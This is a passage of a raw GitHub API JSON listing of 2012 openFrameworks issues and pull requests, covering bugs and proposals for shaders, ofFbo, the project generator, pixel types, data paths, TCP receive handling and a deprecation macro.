OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 